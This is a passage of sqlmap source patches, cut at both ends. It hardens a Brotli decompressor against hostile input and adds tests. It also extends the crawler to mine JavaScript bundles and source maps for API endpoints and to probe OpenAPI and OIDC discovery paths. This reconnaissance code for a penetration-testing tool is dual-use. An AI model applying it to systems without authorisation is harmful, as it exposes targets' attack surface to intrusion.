& ((1 << count) - 1) self.acc >>= count self.bits -= count return value def peek(self, count): + # lenient lookahead (a prefix-code peek may legitimately reach past the final byte); only the + # matching drop() actually consumes, and drop() rejects consuming more than really remains if self.bits < count: self._fill() return self.acc & ((1 << count) - 1) def drop(self, count): + if self.bits < count: # the matched code needs bits the stream does not have + raise BrotliError("truncated Brotli stream") self.acc >>= count self.bits -= count @@ -253,10 +289,17 @@ def readBytes(self, count): self.bits -= 8 count -= 1 if count > 0: + if self.pos + count > self.size: + raise BrotliError("truncated Brotli stream") out += self.data[self.pos:self.pos + count] self.pos += count return bytes(out) + def exhausted(self): + # true once no whole real bytes remain beyond the current (partial) byte - used to reject + # trailing garbage after the final meta-block + return self.pos >= self.size and self.bits < 8 + def _reverseBits(value, count): result = 0 @@ -269,54 +312,66 @@ def _reverseBits(value, count): class _Huffman(object): __slots__ = ("maxLength", "table", "single") - def __init__(self, lengths): + def __init__(self, lengths, budget=None): self.single = None self.table = None self.maxLength = max(lengths) if lengths else 0 - if self.maxLength == 0: - self.single = 0 - for symbol, length in enumerate(lengths): - if length > 0: - self.single = symbol + used = [(symbol, length) for symbol, length in enumerate(lengths) if length] + if not used: + raise BrotliError("empty Brotli prefix code") + if self.maxLength == 0 or len(used) == 1: # a one-symbol code is always that symbol (0 bits) + self.single = used[0][0] + self.maxLength = 0 return + if budget is not None: + budget[0] -= (1 << self.maxLength) + if budget[0] < 0: + raise BrotliError("Brotli decoder table budget exceeded") + counts = [0] * (self.maxLength + 1) - for length in lengths: - if length: - counts[length] += 1 + for _, length in used: + counts[length] += 1 nextCode = [0] * (self.maxLength + 2) code = 0 + space = 0 for bits in range(1, self.maxLength + 1): code = (code + counts[bits - 1]) << 1 nextCode[bits] = code - - self.table = [(0, 0)] * (1 << self.maxLength) - for symbol, length in enumerate(lengths): - if length: - reversed_ = _reverseBits(nextCode[length], length) - nextCode[length] += 1 - step = 1 << length - for index in range(reversed_, 1 << self.maxLength, step): - self.table[index] = (symbol, length) + space += counts[bits] << (self.maxLength - bits) + if space != (1 << self.maxLength): # over- or under-subscribed prefix code (must be complete) + raise BrotliError("invalid Brotli prefix code") + + self.table = [None] * (1 << self.maxLength) # None = unreachable slot (rejected on decode) + for symbol, length in used: + reversed_ = _reverseBits(nextCode[length], length) + nextCode[length] += 1 + step = 1 << length + for index in range(reversed_, 1 << self.maxLength, step): + self.table[index] = (symbol, length) def decode(self, reader): if self.table is None: return self.single - symbol, length = self.table[reader.peek(self.maxLength)] - reader.drop(length) - return symbol + entry = self.table[reader.peek(self.maxLength)] + if entry is None: # bits matched no code -> malformed stream + raise BrotliError("invalid Brotli prefix code") + reader.drop(entry[1]) + return entry[0] -def _readSimplePrefix(reader, alphabetSize): +def _readSimplePrefix(reader, alphabetSize, budget): count = reader.readBits(2) + 1 symbolBits = (alphabetSize - 1).bit_length() or 1 symbols = [reader.readBits(symbolBits) for _ in range(count)] - lengths = [0] * alphabetSize + for symbol in symbols: + if symbol >= alphabetSize: + raise BrotliError("out-of-range symbol in Brotli simple prefix code") + if len(set(symbols)) != count: + raise BrotliError("duplicate symbol in Brotli simple prefix code") if count == 1: - huffman = _Huffman([]) - huffman.single = symbols[0] - return huffman - if count == 2: + pairs = [(symbols[0], 1)] # one symbol -> _Huffman makes it a 0-bit code + elif count == 2: pairs = [(symbols[0], 1), (symbols[1], 1)] elif count == 3: pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 2)] @@ -324,12 +379,13 @@ def _readSimplePrefix(reader, alphabetSize): pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 3), (symbols[3], 3)] else: pairs = [(symbols[0], 2), (symbols[1], 2), (symbols[2], 2), (symbols[3], 2)] + lengths = [0] * alphabetSize for symbol, length in pairs: lengths[symbol] = length - return _Huffman(lengths) + return _Huffman(lengths, budget) -def _readComplexPrefix(reader, alphabetSize, skip): +def _readComplexPrefix(reader, alphabetSize, skip, budget): codeLengths = [0] * 18 space = 32 for symbol in _CL_ORDER[skip:]: @@ -340,7 +396,7 @@ def _readComplexPrefix(reader, alphabetSize, skip): space -= 32 >> codeLengths[symbol] if space <= 0: break - codeLengthHuffman = _Huffman(codeLengths) + codeLengthHuffman = _Huffman(codeLengths, budget) lengths = [0] * alphabetSize symbol = 0 @@ -370,20 +426,20 @@ def _readComplexPrefix(reader, alphabetSize, skip): repeat += delta + 3 emit = repeat - old for _ in range(emit): - if symbol >= alphabetSize: - break + if symbol >= alphabetSize: # a run past the alphabet is a malformed stream + raise BrotliError("Brotli code-length run exceeds alphabet") lengths[symbol] = repeatLength symbol += 1 if repeatLength: space -= emit << (15 - repeatLength) - return _Huffman(lengths) + return _Huffman(lengths, budget) -def _readPrefix(reader, alphabetSize): +def _readPrefix(reader, alphabetSize, budget): header = reader.readBits(2) if header == 1: - return _readSimplePrefix(reader, alphabetSize) - return _readComplexPrefix(reader, alphabetSize, header) + return _readSimplePrefix(reader, alphabetSize, budget) + return _readComplexPrefix(reader, alphabetSize, header, budget) def _readBlockTypeCount(reader): @@ -393,19 +449,24 @@ def _readBlockTypeCount(reader): return (1 << bits) + 1 + reader.readBits(bits) -def _readContextMap(reader, treeCount, size): +def _readContextMap(reader, treeCount, size, budget): maxRun = reader.readBits(4) + 1 if reader.readBits(1) else 0 - huffman = _readPrefix(reader, treeCount + maxRun) + huffman = _readPrefix(reader, treeCount + maxRun, budget) contextMap = [] while len(contextMap) < size: code = huffman.decode(reader) if code == 0: contextMap.append(0) elif code <= maxRun: - contextMap.extend([0] * ((1 << code) + reader.readBits(code))) + run = (1 << code) + reader.readBits(code) + if len(contextMap) + run > size: # a run past the declared map size is malformed + raise BrotliError("Brotli context map run overruns the map") + contextMap.extend([0] * run) else: - contextMap.append(code - maxRun) - del contextMap[size:] + value = code - maxRun + if value >= treeCount: # references a tree that was not declared + raise BrotliError("Brotli context map references an undefined tree") + contextMap.append(value) if reader.readBits(1): # inverse move-to-front moveToFront = list(range(256)) for i in range(len(contextMap)): @@ -456,11 +517,8 @@ def decompress(data, maxOutput=100 * 1024 * 1024): """Decompress a Brotli (RFC 7932) stream, returning the original bytes. Raises BrotliError on a malformed stream or if the output would exceed 'maxOutput' (an anti-decompression-bomb cap).""" - _loadTables() - dictionary = _DICTIONARY - context = _CONTEXT - try: + dictionary, context = _loadTables() reader = _BitReader(data) header = reader.readBits(1) if header == 0: @@ -506,12 +564,14 @@ def decompress(data, maxOutput=100 * 1024 * 1024): raise BrotliError("output too large") continue + budget = [_MAX_HUFFMAN_TABLE_ENTRIES] # per-meta-block Huffman memory ceiling + typesL = _readBlockTypeCount(reader) blockL, typeHuffmanL, lengthHuffmanL, prevTypeL = 1 << 28, None, None, 1 typeL = 0 if typesL >= 2: - typeHuffmanL = _readPrefix(reader, typesL + 2) - lengthHuffmanL = _readPrefix(reader, 26) + typeHuffmanL = _readPrefix(reader, typesL + 2, budget) + lengthHuffmanL = _readPrefix(reader, 26, budget) code = lengthHuffmanL.decode(reader) blockL = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) @@ -519,8 +579,8 @@ def decompress(data, maxOutput=100 * 1024 * 1024): blockI, typeHuffmanI, lengthHuffmanI, prevTypeI = 1 << 28, None, None, 1 typeI = 0 if typesI >= 2: - typeHuffmanI = _readPrefix(reader, typesI + 2) - lengthHuffmanI = _readPrefix(reader, 26) + typeHuffmanI = _readPrefix(reader, typesI + 2, budget) + lengthHuffmanI = _readPrefix(reader, 26, budget) code = lengthHuffmanI.decode(reader) blockI = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) @@ -528,8 +588,8 @@ def decompress(data, maxOutput=100 * 1024 * 1024): blockD, typeHuffmanD, lengthHuffmanD, prevTypeD = 1 << 28, None, None, 1 typeD = 0 if typesD >= 2: - typeHuffmanD = _readPrefix(reader, typesD + 2) - lengthHuffmanD = _readPrefix(reader, 26) + typeHuffmanD = _readPrefix(reader, typesD + 2, budget) + lengthHuffmanD = _readPrefix(reader, 26, budget) code = lengthHuffmanD.decode(reader) blockD = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) @@ -538,14 +598,14 @@ def decompress(data, maxOutput=100 * 1024 * 1024): contextModes = [reader.readBits(2) for _ in range(typesL)] treesL = _readBlockTypeCount(reader) - contextMapL = _readContextMap(reader, treesL, typesL * 64) if treesL >= 2 else [0] * (typesL * 64) + contextMapL = _readContextMap(reader, treesL, typesL * 64, budget) if treesL >= 2 else [0] * (typesL * 64) treesD = _readBlockTypeCount(reader) - contextMapD = _readContextMap(reader, treesD, typesD * 4) if treesD >= 2 else [0] * (typesD * 4) + contextMapD = _readContextMap(reader, treesD, typesD * 4, budget) if treesD >= 2 else [0] * (typesD * 4) - huffmanL = [_readPrefix(reader, 256) for _ in range(treesL)] - huffmanI = [_readPrefix(reader, 704) for _ in range(typesI)] + huffmanL = [_readPrefix(reader, 256, budget) for _ in range(treesL)] + huffmanI = [_readPrefix(reader, 704, budget) for _ in range(typesI)] distanceAlphabet = 16 + direct + (48 << postfix) - huffmanD = [_readPrefix(reader, distanceAlphabet) for _ in range(treesD)] + huffmanD = [_readPrefix(reader, distanceAlphabet, budget) for _ in range(treesD)] produced = 0 while produced < metaLength: @@ -614,6 +674,9 @@ def decompress(data, maxOutput=100 * 1024 * 1024): low = value & ((1 << postfix) - 1) distance = ((((2 + (high & 1)) << extraBits) - 4 + extra) << postfix) + low + direct + 1 + if distance <= 0: # a ring/short-code computation must yield >= 1 + raise BrotliError("invalid Brotli distance") + maxDistance = min(len(out), maxBackward) if distanceCode != 0 and distance <= maxDistance: distRing[distIndex & 3] = distance @@ -637,6 +700,8 @@ def decompress(data, maxOutput=100 * 1024 * 1024): raise BrotliError("invalid dictionary transform") start = _OFFSETS[copyLength] + index * copyLength word = _applyTransform(transformId, dictionary[start:start + copyLength]) + if produced + len(word) > metaLength: # a transformed word must still fit the block + raise BrotliError("dictionary word exceeds meta-block length") out += word produced += len(word) @@ -645,6 +710,13 @@ def decompress(data, maxOutput=100 * 1024 * 1024): if isLast: break + + # after the final meta-block only zero byte-alignment padding may remain: no whole leftover bytes + # (trailing garbage) and the padding bits themselves must be zero (RFC 7932) + if reader.bits + (reader.size - reader.pos) * 8 >= 8: + raise BrotliError("trailing data after Brotli stream") + if reader.acc != 0: + raise BrotliError("non-zero Brotli padding bits") return bytes(out) except BrotliError: raise diff --git a/tests/test_brotli.py b/tests/test_brotli.py index 42525036661..4024a744c6b 100644 --- a/tests/test_brotli.py +++ b/tests/test_brotli.py @@ -4,12 +4,14 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Tests for the dependency-free Brotli (RFC 7932) decompressor under lib/utils/brotli.py. The compressed -fixtures were produced by the reference encoder at various quality levels; the expected plaintext is -reconstructed here by construction, so the suite validates the decoder fully offline (no third-party -'brotli' module at test time) on Python 2.7 / 3.x. Cases deliberately exercise the static dictionary + -word transforms, long overlapping copies, UTF-8, the low-quality (near-uniform tree) path and the -repetitive content that relies on the higher insert-and-copy command ranges. +Tests for the dependency-free Brotli (RFC 7932) decompressor under lib/utils/brotli.py, and its wiring +into lib/request/basic.py::decodePage. The compressed fixtures were produced by the reference encoder at +various quality levels; the expected plaintext is reconstructed here by construction, so the suite +validates the decoder fully offline (no third-party 'brotli' module at test time) on Python 2.7 / 3.x. +Positive cases exercise the static dictionary + word transforms, long overlapping copies, UTF-8, the +low-quality (near-uniform tree) path and the repetitive content that relies on the higher insert-and-copy +command ranges. Negative cases assert that hostile input (truncation, garbage, output bombs) is rejected +with a BrotliError rather than silently producing corrupted output. """ import binascii @@ -35,12 +37,15 @@ (b"the quick brown fox " * 30, "1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701"), (b"AB" * 400, "1b1f0300a48284a2b230b009"), - ((u"caf\xe9 na\xefve \u4f60\u597d ").encode("utf-8") * 12, + (u"caf\xe9 na\xefve \u4f60\u597d ".encode("utf-8") * 12, "1bef00004427477ad6d60ac38c93200a288ab462c2a06461d22d186dbbe0263e0707"), (b"hello hello hello world world foo bar baz " * 6, "8b7d000080aaaaaaeaff74e5f355048415f8c0000c201701d0ffbbeadf736f75cfa82e6f63b82b5e2c2c2c6c6cacea654675f0e1c38fc160308e33595583c16030180ce65067442a4aa370586827d97b828968074727f5b21e97eebd045d8baeefef94c3fca4fb1e"), ] +# a valid stream (~1.2 KB of text) whose truncations feed the negative corpus +_TRUNCATION_SAMPLE = binascii.unhexlify("1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701") + class TestBrotli(unittest.TestCase): def test_known_fixtures(self): @@ -50,20 +55,66 @@ def test_known_fixtures(self): def test_empty_stream(self): self.assertEqual(decompress(binascii.unhexlify("3b")), b"") - def test_malformed_raises(self): - # a hostile/truncated stream must surface as BrotliError, never a raw exception - for blob in (b"\xff", b"\x00\x00\x00", b"\x1b\xff\xff\xff\xff", os.urandom(32)): + def test_truncation_is_rejected(self): + # every proper prefix of a valid stream is truncated -> must raise, never silently return + # corrupted or zero-padded output + for cut in range(1, len(_TRUNCATION_SAMPLE)): + self.assertRaises(BrotliError, decompress, _TRUNCATION_SAMPLE[:cut]) + + def test_malformed_is_rejected(self): + for blob in (b"\xff", b"\x00\x00\x00", b"\x1b\xff\xff\xff\xff", + _TRUNCATION_SAMPLE + b"\x00\x00\x00\x00", # trailing garbage + binascii.unhexlify("3b") + b"\xde\xad"): # data after a complete empty stream + self.assertRaises(BrotliError, decompress, blob) + + def test_non_brotlierror_never_escapes(self): + # arbitrary bytes must terminate quickly and only ever raise BrotliError (never a raw exception) + for i in range(400): + blob = bytes(bytearray((i * 37 + j * 13) & 0xff for j in range(i % 60))) try: decompress(blob) except BrotliError: pass - except Exception as ex: - self.fail("non-BrotliError on malformed input: %s" % ex) def test_bomb_cap(self): # a small stream must not be allowed to expand past the output cap self.assertRaises(BrotliError, decompress, binascii.unhexlify("1b1f0300a48284a2b230b009"), 16) +class TestBrotliDecodePage(unittest.TestCase): + _KB = ("pageCompress", "pageEncoding", "disableHtmlDecoding", "singleLogFlags") + _CONF = ("encoding", "nullConnection") + + def setUp(self): + from lib.core.data import conf, kb + self._kb = dict((name, kb.get(name)) for name in self._KB) + self._conf = dict((name, conf.get(name)) for name in self._CONF) + + def tearDown(self): + from lib.core.data import conf, kb + for name, value in self._kb.items(): + kb[name] = value + for name, value in self._conf.items(): + conf[name] = value + + def test_decodepage_br(self): + from lib.core.data import conf, kb + from lib.request.basic import decodePage + from lib.core.convert import getBytes + + conf.encoding = None + conf.nullConnection = False + kb.pageCompress = True + kb.pageEncoding = None + kb.singleLogFlags = set() + kb.disableHtmlDecoding = True + + body = b"secret uid=admin" * 25 + # brotli-compressed 'body' (reference encoder, quality 11) + compressed = binascii.unhexlify( + "1b190488c56d6c1ff52d8742bd820d3870892cd08016f661030e310d82f520b7a3513810bf66edf05d3500") + self.assertEqual(getBytes(decodePage(compressed, "br", "text/html; charset=utf-8")), body) + + if __name__ == "__main__": unittest.main() From b2f98b61ec4575c2da1946f4ac374ae67fab5c1f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 25 Jul 2026 19:10:58 +0200 Subject: [PATCH 843/853] Improved crawling --- lib/core/option.py | 1 + lib/core/settings.py | 21 ++- lib/parse/sitemap.py | 22 ++- lib/request/redirecthandler.py | 8 +- lib/utils/crawler.py | 320 +++++++++++++++++++++++++++++---- 5 files changed, 333 insertions(+), 39 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5d9163e0c62..aadde6d5b57 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2360,6 +2360,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): if flushAll: kb.checkSitemap = None + kb.crawledHosts = set() # hosts whose robots.txt / well-known paths were already probed kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastCtrlCTime = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 73ce6310099..04f62b2c16c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.187" +VERSION = "1.10.7.188" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -790,6 +790,21 @@ # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) +# Endpoint mining inside JavaScript bundles during crawling (SPA API routes live in .js, invisible to +# href/src scraping): quoted absolute-path or same-origin-URL string literals (fetch/axios/XHR targets). +# MAX_* caps per-bundle results so a noisy minified file cannot flood the target list. +JAVASCRIPT_ENDPOINT_REGEX = r'''["'`](?P(?:https?:)?//[\w.:@-]+/[^"'`\s]*|/[A-Za-z0-9_][^"'`\s]*)["'`]''' +MAX_JAVASCRIPT_ENDPOINTS = 200 +# only the leading slice of a bundle/source-map is scanned for endpoints - bounds CPU/RAM on a hostile response +MAX_JAVASCRIPT_MINE_SIZE = 1 * 1024 * 1024 +# max source distance (chars) between a string-constant assignment and a `name + "/suffix"` use it may fold into +MAX_JAVASCRIPT_FOLD_DISTANCE = 2048 +# cap on Disallow/Allow/Sitemap lines consumed from a (potentially hostile) robots.txt +MAX_ROBOTS_ENTRIES = 1000 +# bounds on sitemap parsing: number of sitemap documents fetched (recursion fan-out) and total URLs kept +MAX_SITEMAP_FETCHES = 100 +MAX_SITEMAP_URLS = 100000 + # Patterns often seen in HTTP headers containing custom injection marking character '*' # Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a # quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then @@ -983,6 +998,10 @@ # GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query") +# Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the +# auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints) +WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json") + # Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error # messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique) GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts", diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 882c86b2013..1192dcb6798 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -13,12 +13,18 @@ from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import MAX_SITEMAP_FETCHES +from lib.core.settings import MAX_SITEMAP_URLS from lib.request.connect import Connect as Request from thirdparty.six.moves import http_client as _http_client abortedFlag = None -def parseSitemap(url, retVal=None, visited=None): +def parseSitemap(url, retVal=None, visited=None, urlFilter=None): + """Parse a sitemap (recursively following nested sitemap indexes). 'urlFilter' - when given - must + return True for a URL to be fetched or kept; it is enforced on the initial URL AND every nested + sitemap fetched recursively, so a hostile sitemap index cannot pull the crawler out of scope.""" + global abortedFlag if retVal is not None: @@ -30,11 +36,17 @@ def parseSitemap(url, retVal=None, visited=None): retVal = OrderedSet() visited = set() - if url in visited: + if url in visited or (urlFilter is not None and not urlFilter(url)): return retVal visited.add(url) + if len(visited) > MAX_SITEMAP_FETCHES or len(retVal) >= MAX_SITEMAP_URLS: # bound a hostile sitemap graph + if not abortedFlag: # warn once on the False->True transition + logger.warning("sitemap parsing stopped after reaching the fetch/URL limit. sqlmap will use partial list") + abortedFlag = True + return retVal + try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except _http_client.InvalidURL: @@ -45,7 +57,7 @@ def parseSitemap(url, retVal=None, visited=None): content = re.sub(r"", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out entries aren't harvested for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): - if abortedFlag: + if abortedFlag or len(retVal) >= MAX_SITEMAP_URLS: break foundUrl = htmlUnescape(match.group(1).strip()) @@ -60,8 +72,8 @@ def parseSitemap(url, retVal=None, visited=None): kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: - parseSitemap(foundUrl, retVal, visited) - else: + parseSitemap(foundUrl, retVal, visited, urlFilter) + elif urlFilter is None or urlFilter(foundUrl): retVal.add(foundUrl) except KeyboardInterrupt: diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 64ee596e091..2f147221249 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -122,7 +122,13 @@ def http_error_302(self, req, fp, code, msg, headers): redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) - if conf.scope: + crawlRedirectFilter = getattr(threadData, "crawlRedirectFilter", None) + if crawlRedirectFilter is not None and not crawlRedirectFilter(redurl): + # a crawler recon/source-map fetch carries the session cookie; it must NOT follow an + # (attacker-controlled) redirect out of scope - reject the hop before it is made, so the + # cookie never reaches the off-scope destination (works even when no explicit --scope is set) + redurl = None + elif conf.scope: if not re.search(conf.scope, redurl, re.I): redurl = None else: diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 787f0a15e54..05cc4a6b4e7 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -7,11 +7,15 @@ from __future__ import division +import bisect +import json import os import re import tempfile import time +from itertools import islice + from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout @@ -32,6 +36,12 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS +from lib.core.settings import JAVASCRIPT_ENDPOINT_REGEX +from lib.core.settings import MAX_JAVASCRIPT_ENDPOINTS +from lib.core.settings import MAX_JAVASCRIPT_FOLD_DISTANCE +from lib.core.settings import MAX_JAVASCRIPT_MINE_SIZE +from lib.core.settings import MAX_ROBOTS_ENTRIES +from lib.core.settings import WELL_KNOWN_ENDPOINT_PATHS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap @@ -41,6 +51,109 @@ from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib +def _inScope(url, target): + """Single predicate governing every crawler request/result: honor --scope if set, else same-host.""" + + return (re.search(conf.scope, url, re.I) is not None) if conf.scope else checkSameHost(url, target) + +def _mineJavaScript(content, base): + """Extract candidate API endpoints referenced inside a JavaScript bundle - the fetch/axios/XHR + targets and absolute-path string literals that power single-page apps and are invisible to + href/src scraping. Returns [(absoluteURL, parametrized), ...] (capped, static assets dropped); + 'parametrized' marks a path templated with a dynamic segment (e.g. `/user/${id}` -> `/user/1`) + or carrying a query string, i.e. a directly testable target rather than a page merely to crawl. + + Light constant folding resolves the common `var base="/api"; fetch(base+"/users")` idiom that + plain literal scraping would split into two useless halves. + + >>> r = _mineJavaScript('fetch("/api/users?id=1");x="/img/logo.png";t=`/user/${i}/x`', "http://h/a.js") + >>> ("http://h/api/users?id=1", True) in r and ("http://h/user/1/x", False) in r # query -> target, template -> crawl only + True + >>> any(_.endswith("logo.png") for _, __ in r) + False + >>> r = _mineJavaScript('var base="/api/v1";fetch(base+"/users")', "http://h/a.js") + >>> ("http://h/api/v1/users", False) in r # folded ... + True + >>> any(_ == "http://h/users" for _, __ in r) # ... and only THIS folded suffix occurrence is dropped + False + """ + + content = content[:MAX_JAVASCRIPT_MINE_SIZE] # endpoints live near the top; bound the work on a hostile bundle + _template = r"\$\{[^}]*\}|:[A-Za-z_]\w*|\{[A-Za-z_.]+\}|<[A-Za-z_]\w*>" + + # index path/URL-valued string constants by name (positions ascending) so a ` + "/suffix"` + # concatenation resolves against the NEAREST PRECEDING assignment via binary search - minified bundles + # reuse identifiers (a global last-wins map would fold the wrong value) and can hold tens of thousands + # of assignments (a linear scan per concatenation would be quadratic) + byName = {} + for match in re.finditer(r"""(?:\b(?:var|let|const)\s+|[,{(]\s*)(?P\w+)\s*[:=]\s*["'`](?P(?:https?:)?/[^"'`\s]{0,256})["'`]""", content): + byName.setdefault(match.group("name"), ([], [])) + byName[match.group("name")][0].append(match.start()) + byName[match.group("name")][1].append(match.group("value")) + + candidates = [] # (spanStart, text): spanStart correlates a folded suffix to the literal it consumes + for match in re.finditer(r"""(?P\w+)\s*\+\s*["'`](?P/[^"'`\s]{0,256})["'`]""", content): + entry = byName.get(match.group("name")) + if entry: + index = bisect.bisect_left(entry[0], match.start()) - 1 + # best-effort, deliberately not a JS parser: fold only against a NEARBY preceding assignment so a + # far-away or differently-scoped `var base=...` (e.g. inside another function) is not mis-applied + if index >= 0 and match.start() - entry[0][index] <= MAX_JAVASCRIPT_FOLD_DISTANCE: + candidates.append((match.start("suffix"), entry[1][index].rstrip("/") + match.group("suffix"))) + folded = set(_[0] for _ in candidates) # exact source spans consumed by folding + for match in re.finditer(JAVASCRIPT_ENDPOINT_REGEX, content): + if match.start("result") not in folded: # suppress only THIS occurrence, not every same-text literal + candidates.append((match.start("result"), match.group("result"))) + + candidates.sort(key=lambda _: _[0]) # process in source order so the endpoint cap keeps the earliest, not every folded one first + + results = [] + seen = set() + for _, candidate in candidates: + if any(_ in candidate for _ in ("\\", "^", "*", " ")): # regex/glob fragments, not endpoints + continue + candidate = re.sub(_template, "1", candidate) # concrete, crawlable path segment + url = _urllib.parse.urljoin(base, candidate) + if not re.search(r"(?i)\Ahttps?://[^/]+/", url): # must resolve to an absolute http(s) URL + continue + if (extractRegexResult(r"\A[^?#]+\.(?P\w+)([?#]|\Z)", url) or "").lower() in CRAWL_EXCLUDE_EXTENSIONS: + continue + # only a real query parameter makes a URL a directly testable target; a path with a (substituted) + # dynamic segment is crawled, not marked, because sqlmap's URI injection needs the '*' marker at the + # right segment (a middle template like /user/1/x would otherwise be mis-tested at its end) + isTarget = re.search(r"\?.*\b\w+=", url) is not None + if url not in seen: + seen.add(url) + results.append((url, isTarget)) + if len(results) >= MAX_JAVASCRIPT_ENDPOINTS: + break + + return results + +def _sourceMapEndpoints(mapContent, base): + """A '//# sourceMappingURL=' map ships the original, un-minified sources in 'sourcesContent'; + mining those recovers endpoints (and pre-minification structure) that the bundle alone hides - + a trick commercial crawlers (Burp, Acunetix) lean on. Returns the same shape as _mineJavaScript.""" + + if len(mapContent) > 8 * MAX_JAVASCRIPT_MINE_SIZE: # do not json-parse an oversized (hostile) map into RAM + return [] + try: + data = json.loads(mapContent) + except ValueError: + return [] + sources = data.get("sourcesContent") if isinstance(data, dict) else None + if not isinstance(sources, (list, tuple)): # a valid JSON map may carry a non-array here + return [] + parts = [] + size = 0 + for source in sources: # join a bounded slice (avoid repeated string realloc) + if isinstance(source, six.text_type): + parts.append(source[:MAX_JAVASCRIPT_MINE_SIZE - size]) + size += len(parts[-1]) + if size >= 